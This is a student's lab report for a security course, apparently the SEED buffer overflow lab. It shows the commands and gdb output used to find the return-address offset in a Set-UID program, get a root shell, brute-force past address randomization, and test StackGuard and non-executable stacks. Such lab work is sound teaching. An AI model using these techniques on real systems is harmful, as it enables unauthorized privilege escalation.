Information Security - UE20CS346

SRN : PES1UG20CS825	NAME : PREM SAGAR J S	SEC : 'H'

Lab Assignment - 3

Buffer Overflow Attack Lab

Environment Setup

Turning Off Countermeasures

Disable address space randomization using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../Labsetup
$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
Attacker:PES1UG20CS825:Prem Sagar J S~/.../Labsetup
$
```

Configuring /bin/sh.

Use the following command to link /bin/sh to /bin/zsh:

$ sudo ln -sf /bin/zsh /bin/sh

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../Labsetup
$sudo ln -sf /bin/zsh /bin/sh
Attacker:PES1UG20CS825:Prem Sagar J S~/.../Labsetup
$
```

Task 1: Getting Familiar with Shellcode:

The ultimate purpose of buffer-overflow attacks is to insert malicious code into the target programme, allowing the code to be run with the privilege of the target programme. Most code-injection attacks make extensive use of shellcode.

Invoking the Shellcode

We produced the binary code from the preceding assembly code and placed it in a C programme named call shellcode.c within the shellcode folder. You should work on the Shellcode lab if you want to learn how to produce binary code yourself. In this job, we will put the shellcode to the test.

Commands :

$ make

$ ./a32.out

$ exit

$ ./a64.out

$ exit

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a32.out
  exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a64.out
  exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$
```

Task 2: Understanding Program the Vulnerable

The vulnerable programme used in this experiment is stack.c, which may be found in the code folder. This software has a buffer-overflow vulnerability, which you must attack in order to get root power. It receives an input from a file named badfile and then sends it to another buffer in the function bof ().

The original input can be 517 bytes long, but the buffer in bof() is only BUF SIZE bytes long, which is less than 517. Buffer overflow will occur because strcpy() does not check for bounds.

Because this is a root-owned Set-UID software, a regular user who exploits this buffer overflow vulnerability may be able to obtain a root shell. It's worth noting that the software obtains its input

from a file called badfile. This file is within the authority of the users. Our goal now is to build the contents of badfile so that when the susceptible application copies the contents into its buffer, a root shell is launched.

Command:

$ make

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$ls
brute-force.sh  exploit.py  Makefile  stack.c
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$
```

Task 3: Launching Attack on 32-bit Program (Level 1)

The distance between the buffer's beginning position and the location where the return-address is stored is critical for exploiting the buffer-overflow vulnerability in the target application. We'll utilise debugging to figure things out.

We can compile the target programme with the debugging option enabled since we have the source code.

Debugging will be easier as a result.

Commands :

$ touch badfile

$ gdb stack-L1-dbg

gdb-peda$ b bof

gdb-peda$ run

gdb-peda$ next

```
gdb-peda$ p $ebp
gdb-peda$ p &buffer
gdb-peda$ p/d [address of ebp]-[address of buffer variable]
gdb-peda$ q
```

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$touch badfile
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/code/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb28 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf10 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf18 --> 0xffffd148 --> 0x0
ESP: 0xffffcb0c --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf10 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb08 --> 0xffffcf18 --> 0xffffd148 --> 0x0
ESP: 0xffffca90 ("1pUV$\317\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
   0x565562cc <bof+31>: mov    ebx,eax
[--------------------------------------stack-------------------------------------]
0000| 0xffffca90 ("1pUV$\317\377\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb08
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffca9c
```

```
$2 = (char (*)[100]) 0xffffca9c
gdb-peda$ p/d [0xffffcb08]-[0xffffca9c]
A syntax error in expression, near `[0xffffcb08]-[0xffffca9c]'.
gdb-peda$ p/d 0xffffcb08-0xffffca9c
$3 = 108
gdb-peda$ q
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$
```

Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside the badfile. We will use a Python program to do that.

Commands:

$ chmod u+x exploit.py

$ ./exploit.py

$ ./stack-L1

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$chmod u+x exploit.py
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./exploit.py
27
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./stack-L1
Input size: 517
#
```

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

The size of the buffer is determined in the Level-1 assault using gdb. This knowledge may be difficult to obtain in the actual world.

If the target is a server software running on a distant system, for example, we will not be able to obtain a copy of the binaries or source code.

We're going to impose a limitation in this task: you can still utilise gdb, but you can't infer the buffer size from your research. Although the buffer size is supplied in Makefile, you are not permitted to utilise it in your attack.

Commands :

$ rm badfile

$ touch badfile

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$rm badfile
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$touch badfile
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$gdb stack-L2-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
```

$ gdb stack-L2-dbg

gdb-peda$ b bof

gdb-peda$ run

gdb-peda$ next

gdb-peda$ p &buffer

gdb-peda$ q

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/code/stack-L2-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb08 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 (``)
EDX: 0xffffcef0 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcef8 --> 0xffffd128 --> 0x0
ESP: 0xffffcaec --> 0x565563f4 (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32

[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffcf13 "V\004") at stack.c:16
16      {
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 (``)
EDX: 0xffffcef0 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcae8 --> 0xffffcef8 --> 0xffffd128 --> 0x0
ESP: 0xffffca40 --> 0x0
EIP: 0x565562c5 (<bof+24>:      sub    esp,0x8)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
```

```
0000| 0xffffca40 --> 0x0
0004| 0xffffca44 --> 0x0
0008| 0xffffca48 --> 0xf7fb4f20 --> 0x0
0012| 0xffffca4c --> 0x7d4
0016| 0xffffca50 ("0pUV.pUV\b\317\377\377")
0020| 0xffffca54 (".pUV\b\317\377\377")
0024| 0xffffca58 --> 0xffffcf08 --> 0x205
0028| 0xffffca5c --> 0x0
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p &buffer
$1 = (char (*)[160]) 0xffffca40
gdb-peda$ q
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$
```

Launching the attack.

Changing ONLY THE ADDRESS value supplied by the ret variable in the code since the code is incomplete. The address of the buffer variable Plus 0x120, which we acquire from executing "p &buffer" in gdb, will be the return address value to be filled in the exploit code.

$ chmod u+x exploit-L2.py
$ ./exploit-L2.py
$ ./stack-L2

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$chmod u+x exploit-L2.py
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./exploit-L2.py
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./stack-L2
Input size: 517
# exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$
```

Tasks 6: Defeating dash's Countermeasure

When the dash shell in Ubuntu finds that the effective UID does not equal the real UID, it removes privileges (which is the case in a Set-UID program). This is accomplished by reverting the effective UID to the true UID, thereby eliminating the privilege. In prior assignments, we pointed /bin/sh to another shell named zsh, which lacks such a countermeasure. We will reverse it in this task and see how we might beat the countermeasure. Please perform the following to redirect /bin/sh to /bin/dash.

Command:

$ sudo ln -sf /bin/dash /bin/sh

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$sudo ln -sf /bin/dash /bin/sh
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$
```

Experiment by compiling call shellcode.c into a binary controlled by root (by typing "make setuid"). Run a32.out and a64.out shellcodes with and without the setuid(0) system function.

$ make

$ ./a32.out

$ exit

$ ./a64.out

$ exit

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a32.out
$ exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a64.out
$ exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$
```

Commands:

$ make setuid

$ ./a32.out

$ exit

$ ./a64.out

$ exit

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
```

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a32.out
# exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a64.out
# exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$
```

I'm launching another attack. Using the altered shellcode, we can now try the attack on the susceptible application again, but this time with the shell's countermeasure enabled.

Repeat your attack on Level 1 to see if you can obtain the root shell. Although repeating the assaults on Levels 2 and 3 is not essential, do it if you want to check if they succeed. The address value for the ret variable will be the same as it was in task 3.

Command:

$ ./exploit-L1-6.py

$ ./stack-L1

ls -l /bin/sh /bin/zsh /bin/dash

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$chmod u+x exploit-L1-6.py
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./exploit-L1-6.py
35
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./stack-L1
Input size: 517
```

Task 7: Defeating Address Randomization

Stacks on 32-bit Linux computers contain just 19 bits of entropy, hence the stack base address can have 219 = 524,288 possibilities. This number is not very large and can be readily exhausted using the brute-force method. In this job, we apply this strategy to bypass the address randomization countermeasure on our 32-bit virtual machine. To begin, we use the following command to enable Ubuntu's address randomization.

Then we apply the same technique against stack-L1.

Command:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

$ rm badfile

$ touch badfile

$ ./exploit-L1.py

$ ./stack-L1

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$rm badfile
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$touch badfile
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./exploit-L1.py
bash: ./exploit-L1.py: No such file or directory
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./exploit.py
27
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./stack-L1
Input size: 517
```

We next use the brute-force method to continuously attack the vulnerable application, hoping that the address we set in the badfile would finally be right. This will only be attempted on stack-L1, which is a 32-bit application. You may use the shell script below to run the vulnerable software indefinitely. If your assault is successful, the script will terminate; otherwise, it will continue to execute.

Command:

$ ./brute-force.sh

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./brute-force.sh
0 minutes and 0 seconds elapsed.
The program has been running 1 times so far.
Input size: 517
./brute-force.sh: line 14:  3691 Segmentation fault      ./stack-L1
0 minutes and 0 seconds elapsed.
The program has been running 2 times so far.
Input size: 517
```

Tasks 8: Experimenting with Other Countermeasures

Task 8.a: Turn on the StackGuard Protection

To avoid buffer overflows, several compilers, including gcc, use a security technique known as StackGuard. Buffer overflow attacks will fail in the presence of this safeguard. When building the applications in prior jobs, we deactivated the StackGuard protection mechanism. In this task, we will activate it and observe what happens.

First, repeat Task 3 with the StackGuard turned off to ensure that the attack is still effective. Remember to disable address randomization, which you enabled in the previous task:

$ sudo sysctl -w kernel.randomize_va_space=0

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
```

Then, we turn on the StackGuard protection by recompiling the vulnerable stack.c program without the -fno-stack-protector flag. In gcc version 4.3.3 and above, StackGuard is enabled by default.

executable and run the following commands:

$ make

$ ./stack-L1

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$make
make: Nothing to be done for 'all'.
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$./stack-L1
Input size: 517
$ exit
Attacker:PES1UG20CS825:Prem Sagar J S~/.../code
$
```

Task 8.b: Turn on the Non-executable Stack Protection

Previously, operating systems allowed executable stacks, however this has been changed: In Ubuntu OS, programme binary images (and shared libraries) must specify whether they require executable stacks or not, by marking a field in the programme header. This marking is used by the kernel or dynamic linker to determine if the stack of this current application is executable or non-executable. This is done automatically by gcc, which renders the stack non-executable by default. Using the "-z noexecstack" parameter in the compilation, we can explicitly make it non-executable. We used "-z execstack" in prior jobs to make stacks executable.

executables and run the below commands:

$ make

$ ./a32.out

$ ./a64.out

```
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$make
gcc -m32  -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a32.out
Segmentation fault
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a64.out
Segmentation fault
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
Attacker:PES1UG20CS825:Prem Sagar J S~/.../shellcode
$./a32.out
$ ./a64.out
$ exit
$
```